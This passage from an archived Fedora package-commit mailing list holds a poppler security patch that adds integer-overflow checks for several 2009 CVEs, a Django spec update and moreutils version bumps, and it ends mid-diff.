-    rowSize = (width + 7) >> 3;
+    if (width > 0) {
+      rowSize = (width + 7) >> 3;
+    } else {
+      rowSize = -1;
+    }
     break;
   case splashModeMono8:
-    rowSize = width;
+    if (width > 0) {
+      rowSize = width;
+    } else {
+      rowSize = -1;
+    }
     break;
   case splashModeRGB8:
   case splashModeBGR8:
-    rowSize = width * 3;
+    if (width > 0 && width <= INT_MAX / 3) {
+      rowSize = width * 3;
+    } else {
+      rowSize = -1;
+    }
     break;
   case splashModeXBGR8:
-    rowSize = width * 4;
+    if (width > 0 && width <= INT_MAX / 4) {
+      rowSize = width * 4;
+    } else {
+      rowSize = -1;
+    }
     break;
 #if SPLASH_CMYK
   case splashModeCMYK8:
-    rowSize = width * 4;
+    if (width > 0 && width <= INT_MAX / 4) {
+      rowSize = width * 4;
+    } else {
+      rowSize = -1;
+    }
     break;
 #endif
   }
-  rowSize += rowPad - 1;
-  rowSize -= rowSize % rowPad;
+  if (rowSize > 0) {
+    rowSize += rowPad - 1;
+    rowSize -= rowSize % rowPad;
+  }
   data = (SplashColorPtr)gmallocn(rowSize, height);
   if (!topDown) {
     data += (height - 1) * rowSize;
diff -pruN poppler-0.8.7.orig/splash/SplashErrorCodes.h poppler-0.8.7/splash/SplashErrorCodes.h
--- poppler-0.8.7.orig/splash/SplashErrorCodes.h	2008-03-26 20:38:52.000000000 +0100
+++ poppler-0.8.7/splash/SplashErrorCodes.h	2009-10-25 21:06:31.000000000 +0100
@@ -27,6 +27,8 @@
 
 #define splashErrSingularMatrix  8	// matrix is singular
 
-#define splashErrZeroImage       9      // image of 0x0
+#define splashErrBadArg          9      // bad argument
+
+#define splashErrZeroImage     254      // image of 0x0
 
 #endif

poppler-0.8.7-gmallocn.patch:
 glib/poppler-page.cc       |    2 +-
 goo/gmem.cc                |   26 ++++++++++++++++++++++++++
 goo/gmem.h                 |    2 ++
 poppler/ArthurOutputDev.cc |    2 +-
 poppler/CairoOutputDev.cc  |   16 ++++++++--------
 poppler/GfxState.cc        |    8 ++++----
 poppler/PSOutputDev.cc     |    4 ++--
 poppler/SplashOutputDev.cc |   18 +++++++++---------
 splash/Splash.cc           |    6 +++---
 splash/SplashBitmap.cc     |    2 +-
 splash/SplashFTFont.cc     |    2 +-
 11 files changed, 58 insertions(+), 30 deletions(-)

--- NEW FILE poppler-0.8.7-gmallocn.patch ---
http://cgit.freedesktop.org/poppler/poppler/commit/?id=0131f0a01c
http://cgit.freedesktop.org/poppler/poppler/commit/?id=7b2d314a61
http://cgit.freedesktop.org/poppler/poppler/commit/?id=c399b2d512
http://cgit.freedesktop.org/poppler/poppler/commit/?id=9cf2325fb2
http://cgit.freedesktop.org/poppler/poppler/commit/?id=284a928996
http://cgit.freedesktop.org/poppler/poppler/commit/?id=5d328282da

CVE-2009-0791/CVE-2009-3605 CVE-2009-3604 CVE-2009-3606

diff -pruN poppler-0.8.7.orig/glib/poppler-page.cc poppler-0.8.7/glib/poppler-page.cc
--- poppler-0.8.7.orig/glib/poppler-page.cc	2008-07-20 13:44:45.000000000 +0200
+++ poppler-0.8.7/glib/poppler-page.cc	2009-10-25 20:57:09.000000000 +0100
@@ -291,7 +291,7 @@ poppler_page_prepare_output_dev (Poppler
 
   output_dev = page->document->output_dev;
   cairo_rowstride = cairo_width * 4;
-  cairo_data = (guchar *) gmalloc (cairo_height * cairo_rowstride);
+  cairo_data = (guchar *) gmallocn (cairo_height, cairo_rowstride);
   if (transparent)
       memset (cairo_data, 0x00, cairo_height * cairo_rowstride);
   else
diff -pruN poppler-0.8.7.orig/goo/gmem.cc poppler-0.8.7/goo/gmem.cc
--- poppler-0.8.7.orig/goo/gmem.cc	2008-03-26 20:38:52.000000000 +0100
+++ poppler-0.8.7/goo/gmem.cc	2009-10-25 20:57:09.000000000 +0100
@@ -190,6 +190,32 @@ void *gmallocn_checkoverflow(int nObjs, 
   return gmalloc(n);
 }
 
+void *gmallocn3(int a, int b, int c) GMEM_EXCEP {
+  int n = a * b;
+  if (b <= 0 || a < 0 || a >= INT_MAX / b) {
+#if USE_EXCEPTIONS
+    throw GMemException();
+#else
+    fprintf(stderr, "Bogus memory allocation size\n");
+    exit(1);
+#endif
+  }
+  return gmallocn(n, c);
+}
+
+void *gmallocn3_checkoverflow(int a, int b, int c) GMEM_EXCEP {
+  int n = a * b;
+  if (b <= 0 || a < 0 || a >= INT_MAX / b) {
+#if USE_EXCEPTIONS
+    throw GMemException();
+#else
+    fprintf(stderr, "Bogus memory allocation size\n");
+    return NULL;
+#endif
+  }
+  return gmallocn_checkoverflow(n, c);
+}
+
 void *greallocn(void *p, int nObjs, int objSize) GMEM_EXCEP {
   int n;
 
diff -pruN poppler-0.8.7.orig/goo/gmem.h poppler-0.8.7/goo/gmem.h
--- poppler-0.8.7.orig/goo/gmem.h	2008-03-26 20:38:52.000000000 +0100
+++ poppler-0.8.7/goo/gmem.h	2009-10-25 20:57:09.000000000 +0100
@@ -54,6 +54,8 @@ extern void *grealloc(void *p, size_t si
  */
 extern void *gmallocn(int nObjs, int objSize) GMEM_EXCEP;
 extern void *gmallocn_checkoverflow(int nObjs, int objSize) GMEM_EXCEP;
+extern void *gmallocn3(int a, int b, int c) GMEM_EXCEP;
+extern void *gmallocn3_checkoverflow(int a, int b, int c) GMEM_EXCEP;
 extern void *greallocn(void *p, int nObjs, int objSize) GMEM_EXCEP;
 
 /*
diff -pruN poppler-0.8.7.orig/poppler/ArthurOutputDev.cc poppler-0.8.7/poppler/ArthurOutputDev.cc
--- poppler-0.8.7.orig/poppler/ArthurOutputDev.cc	2008-05-04 15:07:46.000000000 +0200
+++ poppler-0.8.7/poppler/ArthurOutputDev.cc	2009-10-25 20:57:09.000000000 +0100
@@ -688,7 +688,7 @@ void ArthurOutputDev::drawImage(GfxState
   QMatrix matrix;
   int is_identity_transform;
   
-  buffer = (unsigned char *)gmalloc (width * height * 4);
+  buffer = (unsigned char *)gmallocn3(width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
diff -pruN poppler-0.8.7.orig/poppler/CairoOutputDev.cc poppler-0.8.7/poppler/CairoOutputDev.cc
--- poppler-0.8.7.orig/poppler/CairoOutputDev.cc	2009-10-25 20:28:43.000000000 +0100
+++ poppler-0.8.7/poppler/CairoOutputDev.cc	2009-10-25 20:57:09.000000000 +0100
@@ -515,7 +515,7 @@ void CairoOutputDev::beginString(GfxStat
   if (!currentFont)
     return;
 
-  glyphs = (cairo_glyph_t *) gmalloc (len * sizeof (cairo_glyph_t));
+  glyphs = (cairo_glyph_t *) gmallocn (len, sizeof (cairo_glyph_t));
   glyphCount = 0;
 }
 
@@ -969,7 +969,7 @@ void CairoOutputDev::drawImageMaskRegula
   int row_stride;
 
   row_stride = (width + 3) & ~3;
-  buffer = (unsigned char *) malloc (height * row_stride);
+  buffer = (unsigned char *) gmallocn (height, row_stride);
   if (buffer == NULL) {
     error(-1, "Unable to allocate memory for image.");
     return;
@@ -1133,7 +1133,7 @@ void CairoOutputDev::drawImageMaskPresca
   invert_bit = invert ? 1 : 0;
 
   row_stride = (scaledWidth + 3) & ~3;
-  buffer = (unsigned char *) malloc (scaledHeight * row_stride);
+  buffer = (unsigned char *) gmallocn (scaledHeight, row_stride);
   if (buffer == NULL) {
     error(-1, "Unable to allocate memory for image.");
     return;
@@ -1323,7 +1323,7 @@ void CairoOutputDev::drawMaskedImage(Gfx
 
   int row_stride = (maskWidth + 3) & ~3;
   unsigned char *maskBuffer;
-  maskBuffer = (unsigned char *)gmalloc (row_stride * maskHeight);
+  maskBuffer = (unsigned char *)gmallocn (row_stride, maskHeight);
   unsigned char *maskDest;
   cairo_surface_t *maskImage;
   cairo_pattern_t *maskPattern;
@@ -1359,7 +1359,7 @@ void CairoOutputDev::drawMaskedImage(Gfx
   cairo_matrix_t matrix;
   int is_identity_transform;
 
-  buffer = (unsigned char *)gmalloc (width * height * 4);
+  buffer = (unsigned char *)gmallocn3 (width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
@@ -1448,7 +1448,7 @@ void CairoOutputDev::drawSoftMaskedImage
 
   int row_stride = (maskWidth + 3) & ~3;
   unsigned char *maskBuffer;
-  maskBuffer = (unsigned char *)gmalloc (row_stride * maskHeight);
+  maskBuffer = (unsigned char *)gmallocn (row_stride, maskHeight);
   unsigned char *maskDest;
   cairo_surface_t *maskImage;
   cairo_pattern_t *maskPattern;
@@ -1475,7 +1475,7 @@ void CairoOutputDev::drawSoftMaskedImage
   cairo_matrix_t maskMatrix;
   int is_identity_transform;
 
-  buffer = (unsigned char *)gmalloc (width * height * 4);
+  buffer = (unsigned char *)gmallocn3 (width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
@@ -1567,7 +1567,7 @@ void CairoOutputDev::drawImage(GfxState 
   cairo_matrix_t matrix;
   int is_identity_transform;
   
-  buffer = (unsigned char *)gmallocn (width, height * 4);
+  buffer = (unsigned char *)gmallocn3 (width, height, 4);
 
   /* TODO: Do we want to cache these? */
   imgStr = new ImageStream(str, width,
diff -pruN poppler-0.8.7.orig/poppler/GfxState.cc poppler-0.8.7/poppler/GfxState.cc
--- poppler-0.8.7.orig/poppler/GfxState.cc	2008-04-15 22:00:15.000000000 +0200
+++ poppler-0.8.7/poppler/GfxState.cc	2009-10-25 20:59:44.000000000 +0100
@@ -1183,7 +1183,7 @@ void GfxIndexedColorSpace::getRGBLine(Gu
   int i, j, n;
 
   n = base->getNComps();
-  line = (Guchar *) gmalloc (length * n);
+  line = (Guchar *) gmallocn (length, n);
   for (i = 0; i < length; i++)
     for (j = 0; j < n; j++)
       line[i * n + j] = lookup[in[i] * n + j];
@@ -3406,7 +3406,7 @@ GfxImageColorMap::GfxImageColorMap(int b
     nComps2 = colorSpace2->getNComps();
     lookup2 = indexedCS->getLookup();
     colorSpace2->getDefaultRanges(x, y, indexHigh);
-    byte_lookup = (Guchar *)gmalloc ((maxPixel + 1) * nComps2);
+    byte_lookup = (Guchar *)gmallocn ((maxPixel + 1), nComps2);
     for (k = 0; k < nComps2; ++k) {
       lookup[k] = (GfxColorComp *)gmallocn(maxPixel + 1,
 					   sizeof(GfxColorComp));
@@ -3554,7 +3554,7 @@ void GfxImageColorMap::getGrayLine(Gucha
   switch (colorSpace->getMode()) {
   case csIndexed:
   case csSeparation:
-    tmp_line = (Guchar *) gmalloc (length * nComps2);
+    tmp_line = (Guchar *) gmallocn (length, nComps2);
     for (i = 0; i < length; i++) {
       for (j = 0; j < nComps2; j++) {
 	tmp_line[i * nComps2 + j] = byte_lookup[in[i] * nComps2 + j];
@@ -3584,7 +3584,7 @@ void GfxImageColorMap::getRGBLine(Guchar
   switch (colorSpace->getMode()) {
   case csIndexed:
   case csSeparation:
-    tmp_line = (Guchar *) gmalloc (length * nComps2);
+    tmp_line = (Guchar *) gmallocn (length, nComps2);
     for (i = 0; i < length; i++) {
       for (j = 0; j < nComps2; j++) {
 	tmp_line[i * nComps2 + j] = byte_lookup[in[i] * nComps2 + j];
diff -pruN poppler-0.8.7.orig/poppler/PSOutputDev.cc poppler-0.8.7/poppler/PSOutputDev.cc
--- poppler-0.8.7.orig/poppler/PSOutputDev.cc	2009-10-25 20:28:43.000000000 +0100
+++ poppler-0.8.7/poppler/PSOutputDev.cc	2009-10-25 20:57:09.000000000 +0100
@@ -2287,7 +2287,7 @@ GooString *PSOutputDev::setupExternalCID
   if ((ffTT = FoFiTrueType::load(fileName->getCString(), faceIndex))) {
       int n = ((GfxCIDFont *)font)->getCIDToGIDLen();
       if (n) {
-	codeToGID = (Gushort *)gmalloc(n * sizeof(Gushort));
+	codeToGID = (Gushort *)gmallocn(n, sizeof(Gushort));
 	memcpy(codeToGID, ((GfxCIDFont *)font)->getCIDToGID(), n * sizeof(Gushort));
       } else {
 	codeToGID = ((GfxCIDFont *)font)->getCodeToGIDMap(ffTT, &n);
@@ -4464,7 +4464,7 @@ void PSOutputDev::doImageL1Sep(GfxImageC
 	     width, -height, height);
 
   // allocate a line buffer
-  lineBuf = (Guchar *)gmalloc(4 * width);
+  lineBuf = (Guchar *)gmallocn(width, 4);
 
   // set up to process the data stream
   imgStr = new ImageStream(str, width, colorMap->getNumPixelComps(),
diff -pruN poppler-0.8.7.orig/poppler/SplashOutputDev.cc poppler-0.8.7/poppler/SplashOutputDev.cc
--- poppler-0.8.7.orig/poppler/SplashOutputDev.cc	2008-08-04 20:36:52.000000000 +0200
+++ poppler-0.8.7/poppler/SplashOutputDev.cc	2009-10-25 20:57:09.000000000 +0100
@@ -1974,7 +1974,7 @@ void SplashOutputDev::drawImage(GfxState
       break;
     case splashModeRGB8:
     case splashModeBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(3 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -1984,7 +1984,7 @@ void SplashOutputDev::drawImage(GfxState
       }
       break;
     case splashModeXBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -1996,7 +1996,7 @@ void SplashOutputDev::drawImage(GfxState
       break;
 #if SPLASH_CMYK
     case splashModeCMYK8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getCMYK(&pix, &cmyk);
@@ -2239,7 +2239,7 @@ void SplashOutputDev::drawMaskedImage(Gf
 	break;
       case splashModeRGB8:
       case splashModeBGR8:
-	imgData.lookup = (SplashColorPtr)gmalloc(3 * n);
+	imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
 	for (i = 0; i < n; ++i) {
 	  pix = (Guchar)i;
 	  colorMap->getRGB(&pix, &rgb);
@@ -2249,7 +2249,7 @@ void SplashOutputDev::drawMaskedImage(Gf
 	}
 	break;
       case splashModeXBGR8:
-	imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+	imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
 	for (i = 0; i < n; ++i) {
 	  pix = (Guchar)i;
 	  colorMap->getRGB(&pix, &rgb);
@@ -2261,7 +2261,7 @@ void SplashOutputDev::drawMaskedImage(Gf
 	break;
 #if SPLASH_CMYK
       case splashModeCMYK8:
-	imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+	imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
 	for (i = 0; i < n; ++i) {
 	  pix = (Guchar)i;
 	  colorMap->getCMYK(&pix, &cmyk);
@@ -2382,7 +2382,7 @@ void SplashOutputDev::drawSoftMaskedImag
       break;
     case splashModeRGB8:
     case splashModeBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(3 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 3);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -2392,7 +2392,7 @@ void SplashOutputDev::drawSoftMaskedImag
       }
       break;
     case splashModeXBGR8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getRGB(&pix, &rgb);
@@ -2404,7 +2404,7 @@ void SplashOutputDev::drawSoftMaskedImag
       break;
 #if SPLASH_CMYK
     case splashModeCMYK8:
-      imgData.lookup = (SplashColorPtr)gmalloc(4 * n);
+      imgData.lookup = (SplashColorPtr)gmallocn(n, 4);
       for (i = 0; i < n; ++i) {
 	pix = (Guchar)i;
 	colorMap->getCMYK(&pix, &cmyk);
diff -pruN poppler-0.8.7.orig/splash/Splash.cc poppler-0.8.7/splash/Splash.cc
--- poppler-0.8.7.orig/splash/Splash.cc	2008-05-08 23:16:47.000000000 +0200
+++ poppler-0.8.7/splash/Splash.cc	2009-10-25 20:57:09.000000000 +0100
@@ -1986,7 +1986,7 @@ SplashError Splash::fillImageMask(Splash
   xq = w % scaledWidth;
 
   // allocate pixel buffer
-  pixBuf = (SplashColorPtr)gmalloc((yp + 1) * w);
+  pixBuf = (SplashColorPtr)gmallocn((yp + 1), w);
 
   // initialize the pixel pipe
   pipeInit(&pipe, 0, 0, state->fillPattern, NULL, state->fillAlpha,
@@ -2286,9 +2286,9 @@ SplashError Splash::drawImage(SplashImag
   xq = w % scaledWidth;
 
   // allocate pixel buffers
-  colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps);
+  colorBuf = (SplashColorPtr)gmallocn3((yp + 1), w, nComps);
   if (srcAlpha) {
-    alphaBuf = (Guchar *)gmalloc((yp + 1) * w);
+    alphaBuf = (Guchar *)gmallocn((yp + 1), w);
   } else {
     alphaBuf = NULL;
   }
diff -pruN poppler-0.8.7.orig/splash/SplashBitmap.cc poppler-0.8.7/splash/SplashBitmap.cc
--- poppler-0.8.7.orig/splash/SplashBitmap.cc	2009-10-25 20:28:43.000000000 +0100
+++ poppler-0.8.7/splash/SplashBitmap.cc	2009-10-25 20:57:09.000000000 +0100
@@ -53,7 +53,7 @@ SplashBitmap::SplashBitmap(int widthA, i
     rowSize = -rowSize;
   }
   if (alphaA) {
-    alpha = (Guchar *)gmalloc(width * height);
+    alpha = (Guchar *)gmallocn(width, height);
   } else {
     alpha = NULL;
   }
diff -pruN poppler-0.8.7.orig/splash/SplashFTFont.cc poppler-0.8.7/splash/SplashFTFont.cc
--- poppler-0.8.7.orig/splash/SplashFTFont.cc	2008-03-26 20:38:52.000000000 +0100
+++ poppler-0.8.7/splash/SplashFTFont.cc	2009-10-25 20:57:09.000000000 +0100
@@ -228,7 +228,7 @@ GBool SplashFTFont::makeGlyph(int c, int
   } else {
     rowSize = (bitmap->w + 7) >> 3;
   }
-  bitmap->data = (Guchar *)gmalloc(rowSize * bitmap->h);
+  bitmap->data = (Guchar *)gmallocn_checkoverflow(rowSize, bitmap->h);
   bitmap->freeData = gTrue;
   for (i = 0, p = bitmap->data, q = slot->bitmap.buffer;
        i < bitmap->h;



From smilner at fedoraproject.org  Sun Oct 25 22:55:59 2009
From: smilner at fedoraproject.org (smilner)
Date: Sun, 25 Oct 2009 22:55:59 +0000 (UTC)
Subject: rpms/Django/devel Django.spec,1.30,1.31
Message-ID: <20091025225559.554DA11C00E5@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/Django/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14729

Modified Files:
	Django.spec 
Log Message:
Updated spec to fix BZ#529188.



Index: Django.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django/devel/Django.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- Django.spec	10 Oct 2009 00:52:09 -0000	1.30
+++ Django.spec	25 Oct 2009 22:55:58 -0000	1.31
@@ -3,7 +3,7 @@
 
 Name:           Django
 Version:        1.1.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        A high-level Python Web framework
 
 Group:          Development/Languages
@@ -76,6 +76,9 @@ cp -p docs/man/* $RPM_BUILD_ROOT%{_mandi
 # Fix items in %{_bindir}
 mv $RPM_BUILD_ROOT%{_bindir}/django-admin.py $RPM_BUILD_ROOT%{_bindir}/django-admin
 
+# remove .po files
+find $RPM_BUILD_ROOT -name "*.po" | xargs rm -f
+
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -90,7 +93,7 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0755,root,root) %{python_sitelib}/django/bin/*-messages.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/daily_cleanup.py
 %attr(0755,root,root) %{python_sitelib}/django/bin/django-admin.py
-%{python_sitelib}/django
+%{python_sitelib}/django/
 
 # Leaving these since people may want to rebuild on lower dists
 %if 0%{?fedora} >= 9
@@ -112,6 +115,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-2
+- Removed po files per BZ#529188.
+
 * Fri Oct  9 2009 Steve 'Ashcrow' Milner <stevem at gnulinux.net> - 1.1.1-1
 - Update to fix http://www.djangoproject.com/weblog/2009/oct/09/security/
 - Django-ignore-pyo-bz-495046.patch no longer needed.



From deebs at fedoraproject.org  Sun Oct 25 23:00:19 2009
From: deebs at fedoraproject.org (deebs)
Date: Sun, 25 Oct 2009 23:00:19 +0000 (UTC)
Subject: rpms/moreutils/EL-4 .cvsignore, 1.9, 1.10 import.log, 1.5,
	1.6 moreutils.spec, 1.12, 1.13 sources, 1.9, 1.10
Message-ID: <20091025230019.51A9D11C02C6@cvs1.fedora.phx.redhat.com>

Author: deebs

Update of /cvs/pkgs/rpms/moreutils/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17578/EL-4

Modified Files:
	.cvsignore import.log moreutils.spec sources 
Log Message:
new upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-4/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	16 Jul 2009 05:11:22 -0000	1.9
+++ .cvsignore	25 Oct 2009 23:00:18 -0000	1.10
@@ -1 +1 @@
-moreutils_0.36.tar.gz
+moreutils_0.37.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-4/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	16 Jul 2009 05:11:22 -0000	1.5
+++ import.log	25 Oct 2009 23:00:18 -0000	1.6
@@ -3,3 +3,4 @@ moreutils-0_31-2_fc9:EL-4:moreutils-0.31
 moreutils-0_31-3_fc9:EL-4:moreutils-0.31-3.fc9.src.rpm:1224135632
 moreutils-0_35-1_fc10:EL-4:moreutils-0.35-1.fc10.src.rpm:1246694453
 moreutils-0_36-1_fc10:EL-4:moreutils-0.36-1.fc10.src.rpm:1247721049
+moreutils-0_37-1_fc10:EL-4:moreutils-0.37-1.fc10.src.rpm:1256511561


Index: moreutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-4/moreutils.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- moreutils.spec	16 Jul 2009 05:11:22 -0000	1.12
+++ moreutils.spec	25 Oct 2009 23:00:18 -0000	1.13
@@ -1,5 +1,5 @@
 Name:           moreutils
-Version:        0.36
+Version:        0.37
 Release:        1%{?dist}
 Summary:        Additional unix utilities
 Group:          Applications/System
@@ -89,6 +89,15 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 19 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.37-1%{?dist}
+- new upstream version 0.36 released with these changes
+- * parallel: Clarify man page regarding CPUs. Closes: #536597
+- * parallel: Add -n option. Thanks, Pierre Habouzit. Closes: #537992 (As a side effect, fixes a segfault if -- was omitted.)
+- * parallel.1: Typo fixes. Closes: #538147
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.36-1%{?dist}
 - new upstream version 0.36 released with these changes
 - * parallel: New program, contributed by Tollef Fog Heen, that can run multiple jobs in parallel, optionally checking load average.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-4/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	16 Jul 2009 05:11:22 -0000	1.9
+++ sources	25 Oct 2009 23:00:18 -0000	1.10
@@ -1 +1 @@
-c2df31a6c2e1ab5344808d5401365fba  moreutils_0.36.tar.gz
+0efb69ef1e913ea4dabc74bfe0e68372  moreutils_0.37.tar.gz



From deebs at fedoraproject.org  Sun Oct 25 23:02:14 2009
From: deebs at fedoraproject.org (deebs)
Date: Sun, 25 Oct 2009 23:02:14 +0000 (UTC)
Subject: rpms/moreutils/EL-5 .cvsignore, 1.9, 1.10 import.log, 1.4,
	1.5 moreutils.spec, 1.11, 1.12 sources, 1.9, 1.10
Message-ID: <20091025230214.5162011C00E5@cvs1.fedora.phx.redhat.com>

Author: deebs

Update of /cvs/pkgs/rpms/moreutils/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18270/EL-5

Modified Files:
	.cvsignore import.log moreutils.spec sources 
Log Message:
new upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-5/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	16 Jul 2009 05:13:54 -0000	1.9
+++ .cvsignore	25 Oct 2009 23:02:14 -0000	1.10
@@ -1 +1 @@
-moreutils_0.36.tar.gz
+moreutils_0.37.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-5/import.log,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- import.log	16 Jul 2009 05:13:54 -0000	1.4
+++ import.log	25 Oct 2009 23:02:14 -0000	1.5
@@ -2,3 +2,4 @@ moreutils-0_31-1_fc9:EL-5:moreutils-0.31
 moreutils-0_31-3_fc9:EL-5:moreutils-0.31-3.fc9.src.rpm:1224136317
 moreutils-0_35-1_fc10:EL-5:moreutils-0.35-1.fc10.src.rpm:1246694563
 moreutils-0_36-1_fc10:EL-5:moreutils-0.36-1.fc10.src.rpm:1247721196
+moreutils-0_37-1_fc10:EL-5:moreutils-0.37-1.fc10.src.rpm:1256511682


Index: moreutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-5/moreutils.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- moreutils.spec	16 Jul 2009 05:13:54 -0000	1.11
+++ moreutils.spec	25 Oct 2009 23:02:14 -0000	1.12
@@ -1,5 +1,5 @@
 Name:           moreutils
-Version:        0.36
+Version:        0.37
 Release:        1%{?dist}
 Summary:        Additional unix utilities
 Group:          Applications/System
@@ -89,6 +89,15 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 19 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.37-1%{?dist}
+- new upstream version 0.36 released with these changes
+- * parallel: Clarify man page regarding CPUs. Closes: #536597
+- * parallel: Add -n option. Thanks, Pierre Habouzit. Closes: #537992 (As a side effect, fixes a segfault if -- was omitted.)
+- * parallel.1: Typo fixes. Closes: #538147
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.36-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Jul 16 2009 Marc Bradshaw <fedora at marcbradshaw.co.uk> 0.36-1%{?dist}
 - new upstream version 0.36 released with these changes
 - * parallel: New program, contributed by Tollef Fog Heen, that can run multiple jobs in parallel, optionally checking load average.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/EL-5/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	16 Jul 2009 05:13:54 -0000	1.9
+++ sources	25 Oct 2009 23:02:14 -0000	1.10
@@ -1 +1 @@
-c2df31a6c2e1ab5344808d5401365fba  moreutils_0.36.tar.gz
+0efb69ef1e913ea4dabc74bfe0e68372  moreutils_0.37.tar.gz



From deebs at fedoraproject.org  Sun Oct 25 23:04:59 2009
From: deebs at fedoraproject.org (deebs)
Date: Sun, 25 Oct 2009 23:04:59 +0000 (UTC)
Subject: rpms/moreutils/F-11 .cvsignore, 1.10, 1.11 import.log, 1.5,
	1.6 moreutils.spec, 1.11, 1.12 sources, 1.10, 1.11
Message-ID: <20091025230459.8861611C00E5@cvs1.fedora.phx.redhat.com>

Author: deebs

Update of /cvs/pkgs/rpms/moreutils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19267/F-11

Modified Files:
	.cvsignore import.log moreutils.spec sources 
Log Message:
new upstream version



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	16 Jul 2009 05:09:34 -0000	1.10
+++ .cvsignore	25 Oct 2009 23:04:59 -0000	1.11
@@ -1 +1 @@
-moreutils_0.36.tar.gz
+moreutils_0.37.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-11/import.log,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- import.log	16 Jul 2009 05:09:34 -0000	1.5
+++ import.log	25 Oct 2009 23:04:59 -0000	1.6
@@ -3,3 +3,4 @@ moreutils-0_31-1_fc9:HEAD:moreutils-0.31
 moreutils-0_34-1_fc10:HEAD:moreutils-0.34-1.fc10.src.rpm:1235469154
 moreutils-0_35-1_fc10:F-11:moreutils-0.35-1.fc10.src.rpm:1246693097
 moreutils-0_36-1_fc10:F-11:moreutils-0.36-1.fc10.src.rpm:1247720579
+moreutils-0_37-1_fc10:F-11:moreutils-0.37-1.fc10.src.rpm:1256511819


Index: moreutils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moreutils/F-11/moreutils.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
